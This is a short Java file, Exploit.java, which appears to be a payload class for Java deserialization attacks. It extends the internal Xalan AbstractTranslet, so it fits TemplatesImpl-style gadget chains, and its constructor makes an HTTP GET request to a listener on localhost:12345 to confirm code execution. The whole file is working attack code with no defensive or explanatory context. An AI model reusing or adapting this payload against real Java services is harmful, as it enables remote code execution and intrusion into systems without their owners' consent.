Exploit.java

import java.io.*;
import java.net.*;

public class Exploit extends com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet {
    public Exploit() throws Exception {
        StringBuilder result = new StringBuilder();
        URL url = new URL("http://localhost:12345");
        HttpURLConnection conn = (HttpURLConnection) url.openConnection();
        conn.setRequestMethod("GET");
        BufferedReader rd = new BufferedReader(new InputStreamReader(conn.getInputStream()));
        String line;
        while ((line = rd.readLine()) != null) {
            result.append(line);
        }
        rd.close();
    }

    @Override
    public void transform(com.sun.org.apache.xalan.internal.xsltc.DOM document, com.sun.org.apache.xml.internal.dtm.DTMAxisIterator iterator, com.sun.org.apache.xml.internal.serializer.SerializationHandler handler) {
    }

    @Override
    public void transform(com.sun.org.apache.xalan.internal.xsltc.DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handler)  {
    }
}